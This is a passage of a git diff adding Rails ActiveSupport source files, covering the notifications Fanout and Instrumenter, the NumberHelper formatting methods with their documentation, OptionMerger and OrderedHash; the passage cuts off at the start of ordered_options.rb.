+ def instrumenter
+ InstrumentationRegistry.instrumenter_for(notifier)
+ end
+ end
+
+ # This class is a registry which holds all of the +Instrumenter+ objects
+ # in a particular thread local. To access the +Instrumenter+ object for a
+ # particular +notifier+, you can call the following method:
+ #
+ # InstrumentationRegistry.instrumenter_for(notifier)
+ #
+ # The instrumenters for multiple notifiers are held in a single instance of
+ # this class.
+ class InstrumentationRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def instrumenter_for(notifier)
+ @registry[notifier] ||= Instrumenter.new(notifier)
+ end
+ end
+
+ self.notifier = Fanout.new
+ end
+end
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
new file mode 100644
index 0000000..7588fdb
--- /dev/null
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -0,0 +1,148 @@
+require 'mutex_m'
+require 'thread_safe'
+
+module ActiveSupport
+ module Notifications
+ # This is a default queue implementation that ships with Notifications.
+ # It just pushes events to all registered log subscribers.
+ #
+ # This class is thread safe. All methods are reentrant.
+ class Fanout
+ include Mutex_m
+
+ def initialize
+ @subscribers = []
+ @listeners_for = ThreadSafe::Cache.new
+ super
+ end
+
+ def subscribe(pattern = nil, block = Proc.new)
+ subscriber = Subscribers.new pattern, block
+ synchronize do
+ @subscribers << subscriber
+ @listeners_for.clear
+ end
+ subscriber
+ end
+
+ def unsubscribe(subscriber)
+ synchronize do
+ @subscribers.reject! { |s| s.matches?(subscriber) }
+ @listeners_for.clear
+ end
+ end
+
+ def start(name, id, payload)
+ listeners_for(name).each { |s| s.start(name, id, payload) }
+ end
+
+ def finish(name, id, payload)
+ listeners_for(name).each { |s| s.finish(name, id, payload) }
+ end
+
+ def publish(name, *args)
+ listeners_for(name).each { |s| s.publish(name, *args) }
+ end
+
+ def listeners_for(name)
+ # this is correctly done double-checked locking (ThreadSafe::Cache's lookups have volatile semantics)
+ @listeners_for[name] || synchronize do
+ # use synchronisation when accessing @subscribers
+ @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
+ end
+ end
+
+ def listening?(name)
+ listeners_for(name).any?
+ end
+
+ # This is a sync queue, so there is no waiting.
+ def wait
+ end
+
+ module Subscribers # :nodoc:
+ def self.new(pattern, listener)
+ if listener.respond_to?(:start) and listener.respond_to?(:finish)
+ subscriber = Evented.new pattern, listener
+ else
+ subscriber = Timed.new pattern, listener
+ end
+
+ unless pattern
+ AllMessages.new(subscriber)
+ else
+ subscriber
+ end
+ end
+
+ class Evented #:nodoc:
+ def initialize(pattern, delegate)
+ @pattern = pattern
+ @delegate = delegate
+ end
+
+ def start(name, id, payload)
+ @delegate.start name, id, payload
+ end
+
+ def finish(name, id, payload)
+ @delegate.finish name, id, payload
+ end
+
+ def subscribed_to?(name)
+ @pattern === name.to_s
+ end
+
+ def matches?(subscriber_or_name)
+ self === subscriber_or_name ||
+ @pattern && @pattern === subscriber_or_name
+ end
+ end
+
+ class Timed < Evented
+ def initialize(pattern, delegate)
+ @timestack = []
+ super
+ end
+
+ def publish(name, *args)
+ @delegate.call name, *args
+ end
+
+ def start(name, id, payload)
+ @timestack.push Time.now
+ end
+
+ def finish(name, id, payload)
+ started = @timestack.pop
+ @delegate.call(name, started, Time.now, id, payload)
+ end
+ end
+
+ class AllMessages # :nodoc:
+ def initialize(delegate)
+ @delegate = delegate
+ end
+
+ def start(name, id, payload)
+ @delegate.start name, id, payload
+ end
+
+ def finish(name, id, payload)
+ @delegate.finish name, id, payload
+ end
+
+ def publish(name, *args)
+ @delegate.publish name, *args
+ end
+
+ def subscribed_to?(name)
+ true
+ end
+
+ alias :matches? :===
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
new file mode 100644
index 0000000..0c9a729
--- /dev/null
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -0,0 +1,72 @@
+require 'securerandom'
+
+module ActiveSupport
+ module Notifications
+ # Instrumenters are stored in a thread local.
+ class Instrumenter
+ attr_reader :id
+
+ def initialize(notifier)
+ @id = unique_id
+ @notifier = notifier
+ end
+
+ # Instrument the given block by measuring the time taken to execute it
+ # and publish it. Notice that events get sent even if an error occurs
+ # in the passed-in block.
+ def instrument(name, payload={})
+ start name, payload
+ begin
+ yield payload
+ rescue Exception => e
+ payload[:exception] = [e.class.name, e.message]
+ raise e
+ ensure
+ finish name, payload
+ end
+ end
+
+ # Send a start notification with +name+ and +payload+.
+ def start(name, payload)
+ @notifier.start name, @id, payload
+ end
+
+ # Send a finish notification with +name+ and +payload+.
+ def finish(name, payload)
+ @notifier.finish name, @id, payload
+ end
+
+ private
+
+ def unique_id
+ SecureRandom.hex(10)
+ end
+ end
+
+ class Event
+ attr_reader :name, :time, :transaction_id, :payload, :children
+ attr_accessor :end
+
+ def initialize(name, start, ending, transaction_id, payload)
+ @name = name
+ @payload = payload.dup
+ @time = start
+ @transaction_id = transaction_id
+ @end = ending
+ @children = []
+ end
+
+ def duration
+ 1000.0 * (self.end - time)
+ end
+
+ def <<(event)
+ @children << event
+ end
+
+ def parent_of?(event)
+ @children.include? event
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
new file mode 100644
index 0000000..414960d
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -0,0 +1,637 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+
+module ActiveSupport
+ module NumberHelper
+ extend self
+
+ DEFAULTS = {
+ # Used in number_to_delimited
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format: {
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: ".",
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ",",
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3,
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false,
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+ },
+
+ # Used in number_to_currency
+ currency: {
+ format: {
+ format: "%u%n",
+ negative_format: "-%u%n",
+ unit: "$",
+ # These five are to override number.format and are optional
+ separator: ".",
+ delimiter: ",",
+ precision: 2,
+ significant: false,
+ strip_insignificant_zeros: false
+ }
+ },
+
+ # Used in number_to_percentage
+ percentage: {
+ format: {
+ delimiter: "",
+ format: "%n%"
+ }
+ },
+
+ # Used in number_to_rounded
+ precision: {
+ format: {
+ delimiter: ""
+ }
+ },
+
+ # Used in number_to_human_size and number_to_human
+ human: {
+ format: {
+ # These five are to override number.format and are optional
+ delimiter: "",
+ precision: 3,
+ significant: true,
+ strip_insignificant_zeros: true
+ },
+ # Used in number_to_human_size
+ storage_units: {
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u",
+ units: {
+ byte: "Bytes",
+ kb: "KB",
+ mb: "MB",
+ gb: "GB",
+ tb: "TB"
+ }
+ },
+ # Used in number_to_human
+ decimal_units: {
+ format: "%n %u",
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units: {
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: "",
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: "Thousand",
+ million: "Million",
+ billion: "Billion",
+ trillion: "Trillion",
+ quadrillion: "Quadrillion"
+ }
+ }
+ }
+ }
+
+ DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+ -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+
+ STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+ # Formats a +number+ into a US phone number (e.g., (555)
+ # 123-9876). You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:area_code</tt> - Adds parentheses around the area code.
+ # * <tt>:delimiter</tt> - Specifies the delimiter to use
+ # (defaults to "-").
+ # * <tt>:extension</tt> - Specifies an extension to add to the
+ # end of the generated number.
+ # * <tt>:country_code</tt> - Sets the country code for the phone
+ # number.
+ # ==== Examples
+ #
+ # number_to_phone(5551234) # => 555-1234
+ # number_to_phone('5551234') # => 555-1234
+ # number_to_phone(1235551234) # => 123-555-1234
+ # number_to_phone(1235551234, area_code: true) # => (123) 555-1234
+ # number_to_phone(1235551234, delimiter: ' ') # => 123 555 1234
+ # number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
+ # number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234
+ # number_to_phone('123a456') # => 123a456
+ #
+ # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
+ # # => +1.123.555.1234 x 1343
+ def number_to_phone(number, options = {})
+ return unless number
+ options = options.symbolize_keys
+
+ number = number.to_s.strip
+ area_code = options[:area_code]
+ delimiter = options[:delimiter] || "-"
+ extension = options[:extension]
+ country_code = options[:country_code]
+
+ if area_code
+ number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+ else
+ number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
+ end
+
+ str = ''
+ str << "+#{country_code}#{delimiter}" unless country_code.blank?
+ str << number
+ str << " x #{extension}" unless extension.blank?
+ str
+ end
+
+ # Formats a +number+ into a currency string (e.g., $13.65). You
+ # can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the level of precision (defaults
+ # to 2).
+ # * <tt>:unit</tt> - Sets the denomination of the currency
+ # (defaults to "$").
+ # * <tt>:separator</tt> - Sets the separator between the units
+ # (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:format</tt> - Sets the format for non-negative numbers
+ # (defaults to "%u%n"). Fields are <tt>%u</tt> for the
+ # currency, and <tt>%n</tt> for the number.
+ # * <tt>:negative_format</tt> - Sets the format for negative
+ # numbers (defaults to prepending an hyphen to the formatted
+ # number given by <tt>:format</tt>). Accepts the same fields
+ # than <tt>:format</tt>, except <tt>%n</tt> is here the
+ # absolute value of the number.
+ #
+ # ==== Examples
+ #
+ # number_to_currency(1234567890.50) # => $1,234,567,890.50
+ # number_to_currency(1234567890.506) # => $1,234,567,890.51
+ # number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506
+ # number_to_currency(1234567890.506, locale: :fr) # => 1 234 567 890,51 €
+ # number_to_currency('123a456') # => $123a456
+ #
+ # number_to_currency(-1234567890.50, negative_format: '(%u%n)')
+ # # => ($1,234,567,890.50)
+ # number_to_currency(1234567890.50, unit: '£', separator: ',', delimiter: '')
+ # # => £1234567890,50
+ # number_to_currency(1234567890.50, unit: '£', separator: ',', delimiter: '', format: '%n %u')
+ # # => 1234567890,50 £
+ def number_to_currency(number, options = {})
+ return unless number
+ options = options.symbolize_keys
+
+ currency = i18n_format_options(options[:locale], :currency)
+ currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
+
+ defaults = default_format_options(:currency).merge!(currency)
+ defaults[:negative_format] = "-" + options[:format] if options[:format]
+ options = defaults.merge!(options)
+
+ unit = options.delete(:unit)
+ format = options.delete(:format)
+
+ if number.to_f.phase != 0
+ format = options.delete(:negative_format)
+ number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
+ end
+
+ format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+ end
+
+ # Formats a +number+ as a percentage string (e.g., 65%). You can
+ # customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ # * <tt>:format</tt> - Specifies the format of the percentage
+ # string The number field is <tt>%n</tt> (defaults to "%n%").
+ #
+ # ==== Examples
+ #
+ # number_to_percentage(100) # => 100.000%
+ # number_to_percentage('98') # => 98.000%
+ # number_to_percentage(100, precision: 0) # => 100%
+ # number_to_percentage(1000, delimiter: '.', separator: ,') # => 1.000,000%
+ # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
+ # number_to_percentage('98a') # => 98a%
+ # number_to_percentage(100, format: '%n %') # => 100 %
+ def number_to_percentage(number, options = {})
+ return unless number
+ options = options.symbolize_keys
+
+ defaults = format_options(options[:locale], :percentage)
+ options = defaults.merge!(options)
+
+ format = options[:format] || "%n%"
+ format.gsub('%n', self.number_to_rounded(number, options))
+ end
+
+ # Formats a +number+ with grouped thousands using +delimiter+
+ # (e.g., 12,324). You can customize the format in the +options+
+ # hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ #
+ # ==== Examples
+ #
+ # number_to_delimited(12345678) # => 12,345,678
+ # number_to_delimited('123456') # => 123,456
+ # number_to_delimited(12345678.05) # => 12,345,678.05
+ # number_to_delimited(12345678, delimiter: '.') # => 12.345.678
+ # number_to_delimited(12345678, delimiter: ',') # => 12,345,678
+ # number_to_delimited(12345678.05, separator: ' ') # => 12,345,678 05
+ # number_to_delimited(12345678.05, locale: :fr) # => 12 345 678,05
+ # number_to_delimited('112a') # => 112a
+ # number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
+ # # => 98 765 432,98
+ def number_to_delimited(number, options = {})
+ options = options.symbolize_keys
+
+ return number unless valid_float?(number)
+
+ options = format_options(options[:locale]).merge!(options)
+
+ parts = number.to_s.split('.')
+ parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
+ parts.join(options[:separator])
+ end
+
+ # Formats a +number+ with the specified level of
+ # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+ # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+ # You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ #
+ # ==== Examples
+ #
+ # number_to_rounded(111.2345) # => 111.235
+ # number_to_rounded(111.2345, precision: 2) # => 111.23
+ # number_to_rounded(13, precision: 5) # => 13.00000
+ # number_to_rounded(389.32314, precision: 0) # => 389
+ # number_to_rounded(111.2345, significant: true) # => 111
+ # number_to_rounded(111.2345, precision: 1, significant: true) # => 100
+ # number_to_rounded(13, precision: 5, significant: true) # => 13.000
+ # number_to_rounded(111.234, locale: :fr) # => 111,234
+ #
+ # number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+ # # => 13
+ #
+ # number_to_rounded(389.32314, precision: 4, significant: true) # => 389.3
+ # number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
+ # # => 1.111,23
+ def number_to_rounded(number, options = {})
+ return number unless valid_float?(number)
+ number = Float(number)
+ options = options.symbolize_keys
+
+ defaults = format_options(options[:locale], :precision)
+ options = defaults.merge!(options)
+
+ precision = options.delete :precision
+ significant = options.delete :significant
+ strip_insignificant_zeros = options.delete :strip_insignificant_zeros
+
+ if significant && precision > 0
+ if number == 0
+ digits, rounded_number = 1, 0
+ else
+ digits = (Math.log10(number.abs) + 1).floor
+ multiplier = 10 ** (digits - precision)
+ rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
+ digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
+ end
+ precision -= digits
+ precision = 0 if precision < 0 # don't let it be negative
+ else
+ rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
+ rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+ end
+ formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
+ if strip_insignificant_zeros
+ escaped_separator = Regexp.escape(options[:separator])
+ formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+ else
+ formatted_number
+ end
+ end
+
+ # Formats the bytes in +number+ into a more understandable
+ # representation (e.g., giving it 1500 yields 1.5 KB). This
+ # method is useful for reporting file sizes to users. You can
+ # customize the format in the +options+ hash.
+ #
+ # See <tt>number_to_human</tt> if you want to pretty-print a
+ # generic number.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+ # prefix (defaults to :binary)
+ #
+ # ==== Examples
+ #
+ # number_to_human_size(123) # => 123 Bytes
+ # number_to_human_size(1234) # => 1.21 KB
+ # number_to_human_size(12345) # => 12.1 KB
+ # number_to_human_size(1234567) # => 1.18 MB
+ # number_to_human_size(1234567890) # => 1.15 GB
+ # number_to_human_size(1234567890123) # => 1.12 TB
+ # number_to_human_size(1234567, precision: 2) # => 1.2 MB
+ # number_to_human_size(483989, precision: 2) # => 470 KB
+ # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB
+ #
+ # Non-significant zeros after the fractional separator are stripped out by
+ # default (set <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
+ #
+ # number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
+ # number_to_human_size(524288000, precision: 5) # => "500 MB"
+ def number_to_human_size(number, options = {})
+ options = options.symbolize_keys
+
+ return number unless valid_float?(number)
+ number = Float(number)
+
+ defaults = format_options(options[:locale], :human)
+ options = defaults.merge!(options)
+
+ #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
+
+ storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+
+ base = options[:prefix] == :si ? 1000 : 1024
+
+ if number.to_i < base
+ unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
+ storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
+ else
+ max_exp = STORAGE_UNITS.size - 1
+ exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
+ exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
+ number /= base ** exponent
+
+ unit_key = STORAGE_UNITS[exponent]
+ unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
+
+ formatted_number = self.number_to_rounded(number, options)
+ storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
+ end
+ end
+
+ # Pretty prints (formats and approximates) a number in a way it
+ # is more readable by humans (eg.: 1200000000 becomes "1.2
+ # Billion"). This is useful for numbers that can get very large
+ # (and too hard to read).
+ #
+ # See <tt>number_to_human_size</tt> if you want to print a file
+ # size.
+ #
+ # You can also define you own unit-quantifier names if you want
+ # to use other decimal units (eg.: 1500 becomes "1.5
+ # kilometers", 0.150 becomes "150 milliliters", etc). You may
+ # define a wide range of unit quantifiers, even fractional ones
+ # (centi, deci, mili, etc).
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+ # string containing an i18n scope where to find this hash. It
+ # might have the following keys:
+ # * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+ # *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+ # *<tt>:billion</tt>, <tt>:trillion</tt>,
+ # *<tt>:quadrillion</tt>
+ # * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+ # *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+ # *<tt>:pico</tt>, <tt>:femto</tt>
+ # * <tt>:format</tt> - Sets the format of the output string
+ # (defaults to "%n %u"). The field types are:
+ # * %u - The quantifier (ex.: 'thousand')
+ # * %n - The number
+ #
+ # ==== Examples
+ #
+ # number_to_human(123) # => "123"
+ # number_to_human(1234) # => "1.23 Thousand"
+ # number_to_human(12345) # => "12.3 Thousand"
+ # number_to_human(1234567) # => "1.23 Million"
+ # number_to_human(1234567890) # => "1.23 Billion"
+ # number_to_human(1234567890123) # => "1.23 Trillion"
+ # number_to_human(1234567890123456) # => "1.23 Quadrillion"
+ # number_to_human(1234567890123456789) # => "1230 Quadrillion"
+ # number_to_human(489939, precision: 2) # => "490 Thousand"
+ # number_to_human(489939, precision: 4) # => "489.9 Thousand"
+ # number_to_human(1234567, precision: 4,
+ # significant: false) # => "1.2346 Million"
+ # number_to_human(1234567, precision: 1,
+ # separator: ',',
+ # significant: false) # => "1,2 Million"
+ #
+ # Non-significant zeros after the decimal separator are stripped
+ # out by default (set <tt>:strip_insignificant_zeros</tt> to
+ # +false+ to change that):
+ #
+ # number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
+ # number_to_human(500000000, precision: 5) # => "500 Million"
+ #
+ # ==== Custom Unit Quantifiers
+ #
+ # You can also use your own custom unit quantifiers:
+ # number_to_human(500000, units: { unit: 'ml', thousand: 'lt' }) # => "500 lt"
+ #
+ # If in your I18n locale you have:
+ #
+ # distance:
+ # centi:
+ # one: "centimeter"
+ # other: "centimeters"
+ # unit:
+ # one: "meter"
+ # other: "meters"
+ # thousand:
+ # one: "kilometer"
+ # other: "kilometers"
+ # billion: "gazillion-distance"
+ #
+ # Then you could do:
+ #
+ # number_to_human(543934, units: :distance) # => "544 kilometers"
+ # number_to_human(54393498, units: :distance) # => "54400 kilometers"
+ # number_to_human(54393498000, units: :distance) # => "54.4 gazillion-distance"
+ # number_to_human(343, units: :distance, precision: 1) # => "300 meters"
+ # number_to_human(1, units: :distance) # => "1 meter"
+ # number_to_human(0.34, units: :distance) # => "34 centimeters"
+ def number_to_human(number, options = {})
+ options = options.symbolize_keys
+
+ return number unless valid_float?(number)
+ number = Float(number)
+
+ defaults = format_options(options[:locale], :human)
+ options = defaults.merge!(options)
+
+ #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
+
+ inverted_du = DECIMAL_UNITS.invert
+
+ units = options.delete :units
+ unit_exponents = case units
+ when Hash
+ units
+ when String, Symbol
+ I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
+ when nil
+ translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
+ else
+ raise ArgumentError, ":units must be a Hash or String translation scope."
+ end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
+
+ number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
+ display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
+ number /= 10 ** display_exponent
+
+ unit = case units
+ when Hash
+ units[DECIMAL_UNITS[display_exponent]] || ''
+ when String, Symbol
+ I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+ else
+ translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+ end
+
+ decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
+ formatted_number = self.number_to_rounded(number, options)
+ decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
+ end
+
+ def self.private_module_and_instance_method(method_name) #:nodoc:
+ private method_name
+ private_class_method method_name
+ end
+ private_class_method :private_module_and_instance_method
+
+ def format_options(locale, namespace = nil) #:nodoc:
+ default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
+ end
+ private_module_and_instance_method :format_options
+
+ def default_format_options(namespace = nil) #:nodoc:
+ options = DEFAULTS[:format].dup
+ options.merge!(DEFAULTS[namespace][:format]) if namespace
+ options
+ end
+ private_module_and_instance_method :default_format_options
+
+ def i18n_format_options(locale, namespace = nil) #:nodoc:
+ options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+ if namespace
+ options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+ end
+ options
+ end
+ private_module_and_instance_method :i18n_format_options
+
+ def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+ default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+
+ I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
+ end
+ private_module_and_instance_method :translate_number_value_with_default
+
+ def valid_float?(number) #:nodoc:
+ Float(number)
+ rescue ArgumentError, TypeError
+ false
+ end
+ private_module_and_instance_method :valid_float?
+ end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
new file mode 100644
index 0000000..e55ffd1
--- /dev/null
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -0,0 +1,25 @@
+require 'active_support/core_ext/hash/deep_merge'
+
+module ActiveSupport
+ class OptionMerger #:nodoc:
+ instance_methods.each do |method|
+ undef_method(method) if method !~ /^(__|instance_eval|class|object_id)/
+ end
+
+ def initialize(context, options)
+ @context, @options = context, options
+ end
+
+ private
+ def method_missing(method, *arguments, &block)
+ if arguments.last.is_a?(Proc)
+ proc = arguments.pop
+ arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
+ else
+ arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+ end
+
+ @context.__send__(method, *arguments, &block)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
new file mode 100644
index 0000000..1a3693f
--- /dev/null
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -0,0 +1,40 @@
+require 'yaml'
+
+YAML.add_builtin_type("omap") do |type, val|
+ ActiveSupport::OrderedHash[val.map{ |v| v.to_a.first }]
+end
+
+module ActiveSupport
+ # <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves
+ # insertion order.
+ #
+ # oh = ActiveSupport::OrderedHash.new
+ # oh[:a] = 1
+ # oh[:b] = 2
+ # oh.keys # => [:a, :b], this order is guaranteed
+ #
+ # Also, maps the +omap+ feature for YAML files
+ # (See http://yaml.org/type/omap.html) to support ordered items
+ # when loading from yaml.
+ #
+ # <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts
+ # with other implementations.
+ class OrderedHash < ::Hash
+ def to_yaml_type
+ "!tag:yaml.org,2002:omap"
+ end
+
+ def encode_with(coder)
+ coder.represent_seq '!omap', map { |k,v| { k => v } }
+ end
+
+ def nested_under_indifferent_access
+ self
+ end
+
+ # Returns true to make sure that this hash is extractable via <tt>Array#extract_options!</tt>
+ def extractable_options?
+ true
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
new file mode 100644
index 0000000..c9518bd
--- /dev/null
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -0,0 +1,59 @@
+module ActiveSupport
